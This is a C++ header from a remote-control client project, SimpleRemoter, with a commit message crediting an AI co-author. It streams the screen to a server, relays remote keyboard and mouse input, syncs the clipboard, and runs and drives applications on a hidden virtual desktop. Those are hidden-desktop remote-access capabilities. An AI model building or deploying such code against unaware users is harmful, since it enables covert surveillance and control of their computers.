Files
SimpleRemoter/client/screenhide/ScreenManagerBase.h
T
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00

643 lines
19 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide